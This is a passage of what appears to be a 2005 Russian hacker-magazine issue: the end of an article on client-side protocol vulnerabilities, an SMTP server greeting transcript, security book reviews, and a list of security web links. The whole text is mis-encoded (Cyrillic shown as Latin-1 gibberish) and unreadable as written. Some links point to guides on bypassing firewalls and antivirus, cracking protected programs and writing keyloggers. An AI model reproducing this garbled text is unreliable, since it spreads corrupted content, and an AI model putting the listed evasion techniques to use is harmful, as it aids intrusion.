òèôèêàöèþ êëèåíòà è ñåðâåðà íà îñ-
íîâå ñåðòèôèêàòîâ. Åñëè åñòü òàêàÿ
âîçìîæíîñòü, TLS íóæíî âíåäðÿòü è
èñïîëüçîâàòü.

3. ÎØÈÁÊÈ ÐÅÀËÈÇÀÖÈÈ
ÑÅÒÅÂÛÕ ÏÐÎÒÎÊÎËÎÂ Â
ÊËÈÅÍÒÑÊÈÕ ÏÐÈËÎÆÅÍÈßÕ

Õîòÿ ýòî è ìîãëî áû áûòü âêóñ-
íûì, ìû íå áóäåì ïîäðîáíî ðàçáè-
ðàòü óÿçâèìîñòè êîíêðåòíûõ ðåàëèçà-
öèé. Íà ìîìåíò íàïèñàíèÿ ñòàòüè â áà-
çå óÿçâèìîñòåé (www.security.nnov.ru)
577 êëèåíòñêèõ îøèáîê (áîëåå 10%).
Íàçîâåì òîëüêî íàèáîëåå ðàñïðîñò-
ðàíåííûå ïðîáëåìû:

Ïåðåïîëíåíèå áóôåðà, îøèáêè
ôîðìàòíîé ñòðîêè, öåëî÷èñëåííûå
ïåðåïîëíåíèÿ.

Îøèáêè, ñâÿçàííûå ñ ïëîõèì ñòèëåì
ïðîãðàììèðîâàíèÿ. Î÷åíü ÷àñòî âîç-
íèêàþò ïðè ðàçáîðå êëèåíòà îòâåòà
íà êîìàíäó èëè äàæå ïðè ïðîñòî
äëèííîì ïðèâåòñòâåííîì ñîîáùåíèè
ñåðâåðà.

Ìàíèïóëÿöèÿ äàííûìè.
Ñþäà ìîæíî îòíåñòè ïðîáëåìû ìåæ-

ñàéòîâîãî ñêðèïòèíãà èëè ïîäìåíû
ñîäåðæèìîãî â áðàóçåðàõ è ïî÷òîâûõ
ïðîãðàììàõ. Ïîäîáíûå îøèáêè, êàê
ïðàâèëî, ñâÿçàíû ñ ïëîõèì äèçàéíîì
ïðîãðàììû.

Îòêàç â îáñëóæèâàíèè.
Âîçíèêàåò ïðè ðàçáîðå ñëîæíûõ èëè

íåñòàíäàðòíûõ äàííûõ è ìîæåò ïðè-
âåñòè ê çàâèñàíèþ ïðèëîæåíèÿ (âå÷-
íûì öèêëàì) èëè êðàõó. ×àùå âñåãî
âîçíèêàåò èç-çà íåâîçìîæíîñòè îáðà-
áîòàòü èñêëþ÷èòåëüíûå èëè ãðàíè÷-
íûå ñèòóàöèè.

Íåäîñòàòî÷íàÿ ïðîâåðêà äàííûõ.
Íàïðèìåð, íåäîñòàòî÷íàÿ ïðîâåðêà

ïóòè äîâåðèÿ ñåðòèôèêàòà èëè îáðàò-
íûé ïóòü â êàòàëîãàõ, ïðè êîòîðîì
ñåðâåðíîå ïðèëîæåíèå ìîæåò óïðàâ-
ëÿòü òåì, â êàêóþ ïàïêó ïîïàäåò
ôàéë, çàãðóæåííûé êëèåíòîì.

Óòå÷êà èíôîðìàöèè.
Êëèåíò ïåðåäàåò äàííûå î ñåáå ñèñ-

òåìå, â êîòîðîé îíî ðàáîòàåò, èëè
ïîëüçîâàòåëþ. È ïåðåäàåò áîëüøå,
÷åì íóæíî.

ÏÎÐÀ ÄÅËÀÒÜ ÂÛÂÎÄÛ
Íåîáõîäèìî ó÷èòûâàòü ìíîãèå

àñïåêòû áåçîïàñíîñòè êëèåíòñêèõ
ïðèëîæåíèé: áåçîïàñíîñòü èñïîëü-
çóåìîãî ïðîòîêîëà ïåðåäà÷è äàííûõ,
áåçîïàñíîñòü âûáðàííîãî ìåòîäà àó-
òåíòèôèêàöèè è øèôðîâàíèÿ, êà÷å-
ñòâî êîäà êëèåíòñêîãî ïðèëîæåíèÿ.
Ëþáîå îáðàùåíèå êëèåíòñêîãî ïðè-
ëîæåíèÿ íà ñåðâåð ñâÿçàíî ñ íåêîòî-
ðûì îáìåíîì äàííûõ. Ýòè äàííûå ìî-
ãóò áûòü "õîðîøèìè" èëè "ïëîõèìè",
î ÷åì î÷åíü ÷àñòî çàáûâàþò ðàçðà-
áîò÷èêè. E
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Äîñàäíîå íå-
äîðàçóìåíèå
Mozilla Firefox:
www.security.n
nov.ru/Fnews19
.html.

Íà ñàéòå
www.security.n
nov.ru åñòü áà-
çà äàííûõ, â
êîòîðîé ñîáðà-
íû ïðàêòè÷åñêè
âñå èçâåñòíûå
óÿçâèìîñòè.

<<220 mailserver.domain.example Microsoft
ESMTP MAIL Service, Version: 6.0.3790.1 830
ready at Thu, 14 Jul 2005 00:21:38 +0400
>>EHLO ME
<<250- mailserver.domain.example Hello
[172.22.22.227]
<<250-TURN
<<250-SIZE
<<250-ETRN
<<250-PIPELINING
<<250-DSN
<<250-ENHANCEDSTATUSCODES
<<250-8bitmime
<<250-BINARYMIME
<<250-CHUNKING
<<250-VRFY
<<250-X-EXPS GSSAPI NTLM LOGIN
<<250-X-EXPS=LOGIN
<<250-AUTH GSSAPI NTLM LOGIN
<<250-AUTH=LOGIN
<<250-XEXCH50
<<250 OK



ÈÑÊÓÑÑÒÂÎ ÇÀÙÈÒÛ È
ÂÇËÎÌÀ ÈÍÔÎÐÌÀÖÈÈ

Åñëè êòî-òî ðàíüøå è
íå çíàë Ñêëÿðîâà, òî

â èþëå 2001 ãîäà íàâåðíÿêà
ñëûøàë ïðî åãî àðåñò ÔÁÐ
çà ñîçäàíèå ïðîäóêòà, ïîç-
âîëÿþùåãî îáõîäèòü çàùè-
òó ýëåêòðîííûõ êíèã â ôîð-
ìàòå Adobe PDF. Ïàðíÿ ïû-
òàëèñü óïå÷ü â òþðüìó íà
25 ëåò, çàîäíî çàïðîñèâ
øòðàô â áîëåå ÷åì äâà
ìèëëèîíà äîëëàðîâ. Â êîí-
öå 2002 ãîäà îáâèíåíèÿ
áûëè ñíÿòû. Ïîçæå ïîÿâè-
ëàñü ýòà êíèãà î çàùèòå èí-
ôîðìàöèè - î çàùèòå ïðîã-
ðàìì îò íåñàíêöèîíèðîâàí-
íîãî òèðàæèðîâàíèÿ, öèô-
ðîâûå ïðàâà è ñòåãàíîãðà-
ôèþ. Â êíèãå åñòü ïðèìåðû
íåóäà÷íûõ ñðåäñòâ çàùèòû
ñ óêàçàíèåì ïðè÷èí âîçíèê-
íîâåíèÿ ïðîáëåì. Â äîâå-
ñîê êî âñåìó àâòîð îïèñû-
âàåò èíñòðóìåíòàðèé èññëå-
äîâàòåëÿ: ÷åì êîïàòüñÿ â
ïðîãðàììàõ, êàê àíàëèçèðî-
âàòü êîä ïðîãðàìì, ðàáîòà ñ

ðåñóðñàìè, äîñòóï ê ôàé-
ëàì è ðååñòðó, ñîäåðæèìîå
îïåðàòèâíîé ïàìÿòè, óñò-
ðîéñòâà ââîäà è âûâîäà,
ñåòåâîé îáìåí, áèáëèîòå÷-
íûå ôóíêöèè è ò.ï. È ïðîã-
íîç îò àâòîðà, ÷òî æäàòü â
áóäóùåì.

ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ
ÄÐÀÉÂÅÐÎÂ È ÑÈÑÒÅÌ
ÁÅÇÎÏÀÑÍÎÑÒÈ 

Òîëùèíà êíèãè, êî-
íå÷íî, ìàëîâàòà äëÿ

îáîçíà÷åííîé òåìû, íî ýòî
ó÷åáíîå ïîñîáèå, à íå ïî-
ñîáíè÷åñòâî â ðåøåíèè
âñåõ âîçìîæíûõ ïðîáëåì.
Àêöåíò êíèãè � íà èñïîëüçî-
âàíèè ñðåäñòâ çàùèòû ñåòå-
âîé èíôîðìàöèè íà ðàçëè÷-
íûõ óðîâíÿõ ñåòåâîé àðõè-
òåêòóðû Windows NT/2000.
Ñíà÷àëà àâòîð ïðåäëàãàåò
ðàçîáðàòüñÿ, ÷òî æå òàêîå
äðàéâåð, êàêèõ òèïîâ îí áû-
âàåò è ñ ÷åì åãî åäÿò (êàêèå
ñðåäñòâà ðàçðàáîòêè äðàé-
âåðîâ ñóùåñòâóþò). Äàëåå
èäåò ïîãðóæåíèå â îáùóþ
àðõèòåêòóðó Windows NT
(õàðàêòåðèñòèêè, ñòðóêòóðà,
ðåæèì ÿäðà, óñòàíîâêà/óäà-
ëåíèå/çàïóñê/îñòàíîâêà
äðàéâåðà è ò.ä.), à çàòåì è â
ñåòåâóþ àðõèòåêòóðó

Windows NT (ñåòåâûå API,
ïðîãðàììíûå êîìïîíåíòû è
ñâÿçü ìåæäó íèìè). Âñå îñ-
òàëüíîå ïîñâÿùåíî àíàëè-
çó ñåòåâîé àðõèòåêòóðû è
âîçìîæíîñòÿì ðåàëèçàöèè
ñðåäñòâ çàùèòû è àíàëèçà
ñåòåâîãî òðàôèêà. Ïëþñ îá-
ùèå âîïðîñû îáåñïå÷åíèÿ
áåçîïàñíîñòè â îïåðàöèîí-
íîé ñðåäå Windows
NT/2000.

ÑÅÊÐÅÒÛ ÕÀÊÅÐÎÂ.
ÁÅÇÎÏÀÑÍÎÑÒÜ
WINDOWS SERVER 2003 -
ÃÎÒÎÂÛÅ ÐÅØÅÍÈß

Åñëè òû èñïîëüçóåøü
ñèñòåìó ñåìåéñòâà

Windows èëè æå êîíêðåòíî
Windows Server 2003, èìååò
ñìûñë ïîëèñòàòü ýòó êíèãó.
Â íåé ñîáðàíû ïðèìåðû
êëàññè÷åñêèõ àòàê íà
Windows-ñèñòåìû è ìåðû
ïðîòèâîäåéñòâèÿ ýòèì àòà-
êàì, ðàäè êîòîðûõ àâòîðû
ðàññêàçûâàþò îá àðñåíàëå,
èñïîëüçóåìîì ñîâðåìåííû-
ìè õàêåðàìè ïðè àòàêàõ. Íà
ðåàëüíûõ ïðèìåðàõ ðàñ-
ñìîòðåíû ïðèåìëåìûå ìåòî-
äû ïðîòèâîäåéñòâèÿ êîíê-
ðåòíîé àòàêå. Çàùèòà
ñëóæá NetBIOS, MSRPC,
SMS, DNS, SNMP è Active
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àíàëèòèêîì

96 FAQ
Ïî âçëîìó êëèåíòñêèõ ïðèëîæåíèé
è áåçîïàñíîñòè ñåòåâûõ ïðîòîêîëîâ

Content:
Êàðîëèê Àíäðåé (andrusha@real.xakep.ru)

C ýòèì îáçîðîì áûëî ñëîæíî, òàê êàê âñå â îòïóñêàõ, âêëþ÷àÿ èçäàòåëü-
ñòâà, â êîòîðûõ ìû çàêàçûâàëè êíèãè äëÿ îáçîðà. Ïðèøëîñü èçðÿäíî

ïîìåòàòüñÿ, ÷òîáû ñîáðàòü êíèæêè è ñîõðàíèòü ëþáèìóþ òåìó. Íî òðóäíîñ-
òè ïîçàäè :).

ÎÁÇÎÐ ÊÍÈÃ
×ÒÎ ÏÎËÈÑÒÀÒÜ
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ÑÏá.: ÁÕÂ-Ïåòåðáóðã
2004
Ñêëÿðîâ Ä.Â.

288 ñòðàíèö

Ðàçóìíàÿ öåíà: 111 ðóáëåé

»

ÑÏá.: ÁÕÂ-Ïåòåðáóðã
2003
Ñîðîêèíà Ñ.È.

256 ñòðàíèö

Ðàçóìíàÿ öåíà: 87 ðóáëåé

»

Ì.: Èçäàòåëüñêèé äîì "Âèëüÿìñ"
2004
Äæîåë Ñêåìáðåé

256 ñòðàíèö

Ðàçóìíàÿ öåíà: 507 ðóáëåé
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Directory ñ îïèñàíèåì àòàêè
íà èíòåðôåéñ MSRPC. Ïîä-
ðîáíîñòè àðõèòåêòóðû IIS 6
è àòàêà íà ïåðåïîëíåíèå
áóôåðà äëÿ ôàéëîâ .htr.
Èíôîðìàöèÿ î ñëóæáå
Terminal Services, íîâûå ìå-
òîäû ïîäáîðà ïàðîëÿ, ðàñ-
øèðåíèÿ ïðèâèëåãèé è ïå-
ðåõâàòà äàííûõ. Ñîâðåìåí-
íûå ñïîñîáû çàùèòû îò
àòàê îòêàçà â îáñëóæèâàíèè
è ìíîãîå äðóãîå.

ÇÀÙÈÒÀ ÎÒ ÕÀÊÅÐÎÂ
ÁÅÑÏÐÎÂÎÄÍÛÕ ÑÅÒÅÉ

Ñ ïîÿâëåíèåì áåñïðî-
âîäíûõ ñåòåé ñòàëî

ìåíüøå ïðîáëåì, ïðîâîäîâ
è âîïðîñîâ ñ ðàññòîÿíèåì.
Íî àêòóàëüíîñòü ïðîáëåìû
áåçîïàñíîñòè ïåðåäàâàå-
ìûõ è õðàíÿùèõñÿ äàííûõ
íå ñíèçèëàñü. È íå âàæíî,
ïîëüçóåøüñÿ òû áåñïðîâîä-
íîé ñåòüþ íà ðàáîòå èëè óñ-
òàíîâèë áåñïðîâîäíîé
øëþç äîìà. Õàêåðû åñòü
âåçäå :). Òåáå íåîáõîäèìî
ïîíÿòü îãðàíè÷åíèÿ ïî áå-
çîïàñíîñòè, êîòîðûå íàêëà-
äûâàþò ñòàíäàðòû è ïðîòî-
êîëû, è óñòàíîâèòü ïðîöå-
äóðû êëàññèôèêàöèè èí-
ôîðìàöèè. Äàëåå áóäåò íå
ëèøíèì ðàçîáðàòüñÿ, ÷òî
òàêîå ïåðåõâàò è ïðîñëóøè-
âàíèå, êàêèå ñðåäñòâà èñ-
ïîëüçóþòñÿ ïðè ýòîì, òî
åñòü ïîñòàâèòü ñåáÿ íà ìåñ-
òî õàêåðà è ïîíÿòü èõ ëîãè-
êó âûáîðà ñðåäñòâ è îáîðó-
äîâàíèÿ äëÿ àòàêè. Òîãäà
áóäåò ïðîùå ðàçðàáîòàòü,
ðàçâåðíóòü áåçîïàñíóþ
ñåòü è ïðîòåñòèðîâàòü åå íà
ïðåäìåò áåñïðîâîäíîé 
áåçîïàñíîñòè.

ÈÍÒÅÐÍÅÒ: ÐÅÀËÜÍÛÅ È
ÌÍÈÌÛÅ ÓÃÐÎÇÛ 

Ïðèêîëüíàÿ êíèæåí-
öèÿ ñ ðåàëüíûìè èñ-

òîðèÿìè îò àáñîëþòíî ðå-
àëüíûõ ëþäåé î òîì, êàê
îíè çàùèùàþòñÿ îò êðàæè
ïåðñîíàëüíûõ äàííûõ, âè-
ðóñîâ, ðàçíûõ âèäîâ ìî-
øåííè÷åñòâà è ïðî÷åé íå-
÷èñòè. Àâòîð - ïðîôåññèî-
íàëüíûé ðåïîðòåð, ïðàâäà,
èç-çà áóãðà. Â êíèãå ïîäáîð-
êà èñòîðèé, êîòîðûå íå ïîâ-
òîðÿþò äðóã äðóãà, à âçàè-
ìîäîïîëíÿþò. Â èòîãå ÷èòà-
òåëü ìîæåò ïîëó÷èòü ïðåäñ-
òàâëåíèå î òîì, êàê è çà÷åì
ñòàâèòü áðàíäìàóýð
ZoneAlarm, âûêëþ÷àòü îáìåí
ôàéëàìè, îáåñïå÷èâàòü áåçî-
ïàñíîñòü ïî÷òîâîãî ÿùèêà,
ìåíÿòü ïàðîëè, èñïîëüçîâàòü
àíòèâèðóñíóþ ïðîãðàììó, àâ-
òîìàòè÷åñêè îáíîâëÿòü àíòè-
âèðóñíóþ áàçó, îòêëþ÷àòü
àâòîìàòè÷åñêóþ çàãðóçêó
ãðàôèêè â ýëåêòðîííûõ ïèñü-
ìàõ, èñïîëüçîâàòü äåòåêòîð
ïðîãðàìì-øïèîíîâ. È åùå
êó÷à ïîëåçíûõ ñîâåòîâ â òîì
æå äóõå.

ÇÀÏÈÑÊÈ
ÈÑÑËÅÄÎÂÀÒÅËß
ÊÎÌÏÜÞÒÅÐÍÛÕ
ÂÈÐÓÑÎÂ

Î÷åðåäíîé ýïîñ îò
âñåìè ëþáèìîãî Êðè-

ñà (â ýòîì íîìåðå "Õàêåð
Ñïåö", êñòàòè, åñòü åãî
ñòàòüè - ïðèì. ðåäàêòîðà).
Ñèå òâîðåíèå ïîñâÿùåíî
áîðüáå ñ âèðóñàìè, òî÷íåå,
îáíàðóæåíèþ è óäàëåíèþ
ñóùåñòâóþùèõ è íåñóùåñò-
âóþùèõ âèðóñîâ. Êðèñ äîñ-
òàòî÷íî ïðîñòî ðàññêàçûâà-
åò î ÷åðâÿõ è âèðóñàõ, à
äàëüøå ïåðåõîäèò íà ïðàê-
òè÷åñêèå ìåðû ïî èõ èñò-
ðåáëåíèþ. Â êíèãå åñòü ïðî:
êðèòè÷åñêóþ îøèáêó â
SVCHOST.EXE, îñíîâíûå
ïðèçíàêè âíåäðåíèÿ âèðó-
ñà, àíàòîìèþ ÷åðâåé è ìå-
õàíèçìû èõ ðàñïðîñòðàíå-
íèÿ, ñïîñîáû îáíàðóæåíèÿ
è áîðüáû ñ ÷åðâÿìè, ñåêðå-
òû ïðîåêòèðîâàíèÿ shell-êî-
äà, âîçìîæíîñòè áðàíäìàóý-
ðà, ðåçåðâíîå êîïèðîâàíèå,
óìåíüøåíèå ïðèâèëåãèé äî
ìèíèìóìà, ñîêðàùåíèå èç-
áûòî÷íîé ôóíêöèîíàëüíîñ-
òè ïðîãðàìì, ìîíèòîðèíã èç-
ìåíåíèÿ ôàéëîâ, ñèìïòîìû
çàðàæåíèÿ âèðóñîì, ìåõà-
íèçìû àóòåíòèôèêàöèè, óã-
ðîçó ïåðåïîëíåíèÿ áóôåðà
è äàëüøå ïî ñïèñêó.

ÂÂÅÄÅÍÈÅ Â
ÊÐÈÏÒÎÃÐÀÔÈÞ

Ïðè âèäå íàïå÷àòàí-
íîãî ñëîâà "ó÷åáíèê"

ïðîáèâàåò íà íîñòàëüãèþ :).
Ïî ñóòè, ýòî ó÷åáíîå ïîñî-
áèå äëÿ ó÷àùèõñÿ ìàòåìà-
òè÷åñêèõ ñïåöèàëüíîñòåé, ó

êîãî åñòü ïðåäìåò "Êðèïòî-
ãðàôèÿ". Îò ïðîñòûõ ïðèìå-
ðîâ è îñíîâíûõ ïîíÿòèé äî
ñîâðåìåííûõ êðèïòîãðàôè-
÷åñêèõ ïîäõîäîâ. Åñëè óñ-
ëîâíî ðàçäåëèòü êíèãó íà
íåçàâèñèìûå òåìû, òî â íåå
âîøëè: îñíîâíûå ïîíÿòèÿ
êðèïòîãðàôèè, òåîðèÿ
ñëîæíîñòè â êðèïòîãðàôèè,
êðèïòîãðàôè÷åñêèå ïðîòî-
êîëû, àëãîðèòìè÷åñêèå
ïðîáëåìû òåîðèè ÷èñåë, ìà-
òåìàòèêà ðàçäåëåíèÿ ñåêðå-
òà, ðàçëè÷íûå øèôðû è
êëþ÷è. È åùå ìíîæåñòâî
íåïîíÿòíûõ, íà ïåðâûé
âçãëÿä, òåðìèíîâ :). Çàòî
ïîñëå ïðî÷òåíèÿ áóäåøü
çíàòü, êàêîâû ïðèíöèïû ðà-
áîòû ðàçëè÷íûõ ñèñòåì
øèôðîâàíèÿ, ÷òî îáùåãî
ìåæäó íèìè è êàêèå ðàçëè-
÷èÿ, êàêîâû ñèëüíûå è ñëà-
áûå ñòîðîíû êðèïòîãðàôè-
÷åñêèõ àëãîðèòìîâ, ÷òî âûá-
ðàòü äëÿ ðåøåíèÿ òîé èëè
èíîé çàäà÷è.

ÏÐÀÊÒÈ×ÅÑÊÀß
ÊÐÈÏÒÎÃÐÀÔÈß 

Â îòëè÷èå îò ó÷åáíè-
êà, ýòî áîëåå ïðàê-

òè÷íàÿ êíèæêà (ñîáñòâåííî,
îòñþäà è íàçâàíèå). Ïðàêòè-
÷åñêèå ïðàâèëà âûáîðà è
èñïîëüçîâàíèÿ êðèïòîãðà-
ôè÷åñêèõ àëãîðèòìîâ è
ôóíêöèé - îò áëî÷íûõ øèô-
ðîâ (DES, AES, Serpent,
Twofish) äî öèôðîâûõ ïîä-
ïèñåé. Ñïîñîáû ðåàëèçàöèè
çàùèùåííûõ êðèïòîãðàôè-
÷åñêèõ àëãîðèòìîâ è ñèñòåì
íà ñîâðåìåííûõ êîìïüþòå-
ðàõ. Ñïîñîáû ñíèæåíèÿ
ñëîæíîñòè ñèñòåìû è ïîâû-
øåíèÿ åå áåçîïàñíîñòè ñ
ïîìîùüþ ïðîñòûõ èíòåð-
ôåéñîâ êðèïòîãðàôè÷åñêèõ
ôóíêöèé. Â êîíöå åñòü ñïè-
ñîê èñòî÷íèêîâ èíôîðìà-
öèè, òàê ÷òî ìîæåøü íå îñ-
òàíàâëèâàòüñÿ òîëüêî íà
ïðî÷èòàííîì. E

Ëþáûå èç îïèñàííûõ êíèæåê, êîòîðûå òåáÿ çàèíòåðåñîâàëè, ìîæåøü çà-
êàçàòü (ïî ðàçóìíûì öåíàì), íå îòðûâàÿ ïÿòîé òî÷êè îò äèâàíà èëè ñòóëà, â
áóêèíèñòè÷åñêîì èíòåðíåò-ìàãàçèíå "OS-Êíèãà" - www.osbook.ru. Êíèãè äëÿ
îáçîðà ìû áðàëè èìåííî òàì. 

»

Ì.: ÄÌÊ-Ïðåññ
2005
Êðèñòèàí Áàðíñ

480 ñòðàíèö

Ðàçóìíàÿ öåíà: 458 ðóáëåé

»

Ì.: ÊÓÄÈÖ-ÎÁÐÀÇ
2004
Áåêêè Óîðëè

320 ñòðàíèö

Ðàçóìíàÿ öåíà: 115 ðóáëåé

»

ÑÏá.: Ïèòåð
2005
Êðèñ Êàñïåðñêè

316 ñòðàíèö

Ðàçóìíàÿ öåíà: 122 ðóáëÿ

»

ÑÏá.: Ïèòåð
2001
ßùåíêî Â.Â. 

288 ñòðàíèö

Ðàçóìíàÿ öåíà: 119 ðóáëåé

»

Ì.: Èçäàòåëüñêèé äîì "Âèëüÿìñ"
2005
Íèëüñ Ôåðãþñîí

424 ñòðàíèöû

Ðàçóìíàÿ öåíà: 255 ðóáëåé



Àíäðåé Êàðîëèê (andrusha@real.xakep.ru)

Ñ òðàííî è ïàðàäîêñàëüíî. Ðåñóðñîâ â Ñåòè ñòàíîâèòñÿ âñå áîëüøå, à ïîëåçíîé èíôîðìàöèè âñå ìåíüøå :). Î÷åíü
ìíîãî êëîíîâ è ïëàãèàòà, ïåðåâîäíûõ ìàòåðèàëîâ è ïðîñòî ïðîôàíñêîé èíôîðìàöèè. Íî ÷òî-òî âêóñíîå ìû

îòêîïàëè. Åñëè ðàíüøå ìû óäåëÿëè áîëüøå âíèìàíèÿ öåëûì ðåñóðñàì, òî òåïåðü ñòàðàåìñÿ äàâàòü ññûëêè íà
êîíêðåòíûå ñòàòüè è óòèëèòêè.

ÎÁÇÎÐ ÑÀÉÒÎÂ
×ÒÎ ÏÎÑÌÎÒÐÅÒÜ
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ÕÀÊÅÐÑÏÅÖ    09(58) 2005

ÐÅÑÓÐÑÛ
Ïðåæäå

âñåãî ñòîèò
óïîìÿíóòü
ëó÷øèå ðå-

ñóðñû ïî áåçîïàñíîñòè, íà
êîòîðûõ ïîëíî èíôîðìàöèè
è ñòàòåé, â òîì ÷èñëå ïî áåç-
îïàñíîñòè êëèåíòñêèõ ïðè-
ëîæåíèé. Áîëüøèíñòâî ÷è-
òàòåëåé, íàâåðíîå, çíàþò
íåêîòîðûå èç ïðèâåäåííûõ
àäðåñîâ íàèçóñòü. È óâû,
êîëè÷åñòâî ïîäîáíûõ ñàé-
òîâ íå óâåëè÷èâàåòñÿ. Íà-
õîäÿòñÿ, êîíå÷íî, ýíòóçèàñ-
òû, êîïèðóþùèå ìàòåðèàëû
è íîâîñòè (ïîðîé áåç óêàçà-
íèÿ íà ïåðâîèñòî÷íèê) ñ
ýòèõ ñàéòîâ, íî äàëüøå ýòî-
ãî äåëî íå èäåò. Âîçìîæíî,
ïðî÷èòàâ íîìåð, òû ïðîíèê-
íåøüñÿ ôèëîñîôèåé áåç-
îïàñíîñòè ïðèëîæåíèé è
îòêðîåøü ñâîé ðåñóðñ íå
õóæå îïèñàííûõ:

www.security.nnov.ru
www.bugtraq.ru
www.void.ru
www.securitylab.ru
www.xakep.ru
www.infobez.ru
www.securityfocus.com
www.packetstormsecurity.nl
www.securiteam.com
www.uinc.ru
http://ssz.by.ru

Ïðàêòè÷åñêè íà êàæäîì
ñàéòå åñòü ðàçäåëû íàïîäî-
áèå "Íîâîñòè", "Ñòàòüè",
"Ôîðóì" è "Ïîëåçíûå ïðîã-
ðàììû". Áîëüøèíñòâî ñàé-
òîâ ìàëîðàçëè÷èìû ïî
ñòðóêòóðå, íî íà÷èíêà çàñ-
òàâëÿåò ïðîñìàòðèâàòü åå
ðåãóëÿðíî è ïîëíîñòüþ. Òî
íà îäíîì õîðîøàÿ ñòàòåéêà
ïîÿâèòñÿ, òî íà äðóãîì èí-
òåðåñíûé àíàëèòè÷åñêèé
ìàòåðèàë ïðîñêî÷èò. Íà
ýòèõ æå ñàéòàõ ìîæíî íàéòè
îïèñàíèå áîëüøèíñòâà óÿç-
âèìîñòåé è äûðîê, çàïëàòîê
ê íèì (ïî êðàéíåé ìåðå, íàñ-
òàâëåíèÿ î òîì, ãäå óçíàòü
îá ýòîì), ýêñïëîéòîâ è ðàç-
ëè÷íûõ ïîëåçíûõ óòèëèòîê.

ÍÀÁÈÐÀÉ È ÏÎËÜÇÓÉÑß
Åñëè ãîâîðèòü êîíêðåò-

íî î ñòàòüÿõ, òî âîò èíòå-
ðåñíûå ññûëêè.

www.securitylab.ru/52406.html -
ïåðåäà÷à äàííûõ ñ óÿçâè-
ìîé ìàøèíû â îáõîä firewall
÷åðåç ñêðûòûé êàíàë ñâÿçè
(êàê îáîéòè áðàíäìàóýð ñ
ïîìîùüþ ñïåöèàëüíûõ
DNS-çàïðîñîâ, ñ ïðèìåðàìè
èñõîäíîãî êîäà).

www.securitylab.ru/52842.html -
çàùèòà ñ ïîìîùüþ SSH-
êëþ÷åé.

www.securitylab.ru/52238.html -
àíàëèç âñòðîåííûõ ìåõà-

íèçìîâ çàùèòû îò ïåðåïîë-
íåíèÿ êó÷è â Windows XP
SP2.

www.securitylab.ru/49154.html -
îáõîä ñðåäñòâ çàùèòû êëè-
åíòñêèõ ïðèëîæåíèé
(CheckPoint VPN-1(TM) &
FireWall-1(R) NG with
Application, Intelligence
R55HFA09, Microsoft
Windows XP SP2, Agnitum
Outpost Pro 2.1.x, Tiny
Firewall Pro v6.0.100,
ZoneAlarm Pro with Web
Filtering v4.5.594, BlackICE
PC Protection 3.6, Kerio
Personal Firewall 4.0, WRQ
ATGuard v3.2v).

www.securitylab.ru/46916.html -
àóäèò áðàíäìàóýðîâ è
ñðåäñòâ îáíàðóæåíèÿ âòîð-
æåíèé (IDS).

www.securitylab.ru/45829.html -
àíàëèç çëîíàìåðåííîãî
ïðîãðàììíîãî îáåñïå÷åíèÿ.

www.securitylab.ru/45249.html -
àâòîìàòèçàöèÿ óïðàâëåíèÿ
ïàò÷àìè â Windows.

www.securitylab.ru/44747.html -
óÿçâèìîñòü â TCP.

www.securitylab.ru/43152.html -
íàïàäåíèå íà êëèåíòñêèå
êîìïüþòåðû.

www.securitylab.ru/41896.html -
ïðîçðà÷íûå, ìîñòèêîâûå è
âíóòðåííèå ôàéðâîëû.

www.securitylab.ru/41723.html -
"Áåçîïàñíîñòü äîìàøíèõ

ïîëüçîâàòåëåé: ïåðñîíàëü-
íûå ôàéðâîëû".

www.securitylab.ru/41660.html -
óêðåïëåíèå ñòåêà TCP/IP
äëÿ çàùèòû îò SYN-àòàê.

www.bugtraq.ru/library/security/lu
ka/50attacks.html - 50 ñïîñîáîâ
îáîéòè ñèñòåìó îáíàðóæå-
íèÿ àòàê.

www.security.nnov.ru/articles/fron
tend - áåçîïàñíîñòü êëèåí-
òñêîãî ïðîãðàììíîãî îáåñ-
ïå÷åíèÿ.

www.infobez.ru/article.asp?ob_no=
3566 - èäåàëüíûé ñïàì-
ôèëüòð.

www.infobez.ru/article.asp?ob_no=
3292 - çàùèòà äëÿ äîìàøíèõ
ïîëüçîâàòåëåé.

www.infobez.ru/article.asp?ob_no=
3146 - ýêîíîìèêà DDoS-àòàê.

www.infobez.ru/article.asp?ob_no=
2633 - äîïîëíèòåëüíûå âîç-
ìîæíîñòè Agnitum Outpost
Firewall Pro.

www.infobez.ru/article.asp?ob_no=
2688 - óïðàâëåíèå áåçîïàñ-
íîñòüþ ïðèëîæåíèé.

www.infobez.ru/article.asp?ob_no=
2594 - ñîçäàíèå ïðîãðàììû
îáåñïå÷åíèÿ áåçîïàñíîñòè
ïðèëîæåíèé.

www.ndis.com/papers/winpktfil-
ter.htm - ñïîñîáû ôèëüòðà-
öèè ïàêåòîâ â Windows
NT/9x ñ êó÷åé ïðèìåðîâ è
ïåðåäîâûõ èäåé (íà àíã-
ëèéñêîì ÿçûêå).

»
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www.security.monolithosting.ru/16.
htm - "Firewall äëÿ Windows
ñîáñòâåííûìè ðóêàìè"
(ñòàòüÿ ðàñêðûâàåò ñîêðî-
âåííóþ êóõíþ ðàáîòû
áðàíäìàóýðà).

www.xakep.ru/post/27264 - çà-
ùèòà WebMoney.

www.uinc.ru/articles/45 - àíàëè-
çàòîðû êîäà â àíòèâèðóñàõ.

www.uinc.ru/articles/10 - "Çà-
ùèòè ñåáÿ îò âòîðæåíèÿ,
èëè ÷òî íå íàäî äåëàòü".

www.uinc.ru/articles/32 - ïðè-
ìåð âçëîìà ïðîãðàìì, çàùè-
ùåííûõ ñ ïîìîùüþ êðèïòî-
àëãîðèòìà MD5.

www.uinc.ru/articles/30 - âçëîì
ïðîãðàìì, çàùèùåííûõ ñ
ïîìîùüþ êðèïòîàëãîðèòìà
Blowfish.

www.uinc.ru/articles/11 - êàê
îáîéòè AVP.

www.uinc.ru/articles/38 - ïðî-
öåññû â Windows.

www.uinc.ru/articles/26 - ïåðåõ-
âàò âûçîâîâ ôóíêöèé.

www.uinc.ru/articles/24 - ïèøåì
PROXY-SERVER.

www.uinc.ru/articles/19 - âíåä-
ðåíèå DLL ñ ïîìîùüþ ëîâó-
øåê.

www.uinc.ru/articles/zametki/001.s
html - "Êåéëîããåð? Ýòî ïðîñ-
òî!".

www.uinc.ru/articles/zamet-
ki/003.shtml - ïî êàêîìó ïðèí-
öèïó ðàáîòàþò Àíòè-
Ñíèôåðû.

ÊÀ×ÀÉ È ÏÎËÜÇÓÉÑß
È íåñêîëüêî ïîëåçíûõ

óòèëèòîê.

www.ptsecurity.ru - îòëè÷íàÿ
óòèëèòà XSpider äëÿ àâòîìà-
